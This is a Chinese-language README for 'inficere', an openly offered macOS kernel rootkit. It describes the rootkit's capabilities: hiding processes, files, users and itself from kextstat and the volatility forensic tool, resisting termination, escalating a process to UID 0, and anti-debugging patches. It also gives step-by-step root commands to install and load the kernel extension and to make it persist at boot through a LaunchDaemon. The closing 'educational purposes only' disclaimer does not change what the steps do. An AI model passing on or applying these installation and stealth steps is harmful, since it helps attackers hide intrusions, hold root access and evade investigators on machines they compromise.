inficere

基于 fractalG 的 onyx-the-black-cat（https://github.com/gdbinit/onyx-the-black-cat）构建的 Mac OS X rootkit 公开版本

仅在 Mountain Lion 10.8.2 至 10.8.5 上测试过。不保证在其他版本上能正常工作。

功能

• 进程隐藏——对 'ps PID'、'ps aux'、活动监视器、top 等隐藏
• 文件/目录隐藏
• 用户隐藏——对 'who'、'w' 隐藏指定用户
• 自隐藏——对 kextstat 和 volatility 隐藏模块本身
• 反终止
• PID 转 UID 0
• 反调试技巧（主要由 @osxreverser 提供）——反反 ptrace、修补 task_for_pid(0) 等

使用说明

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

如需开机持久化：

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

加载后，Inficere 会隐藏上述文件。

我想强调的是，制作此工具仅用于教育目的。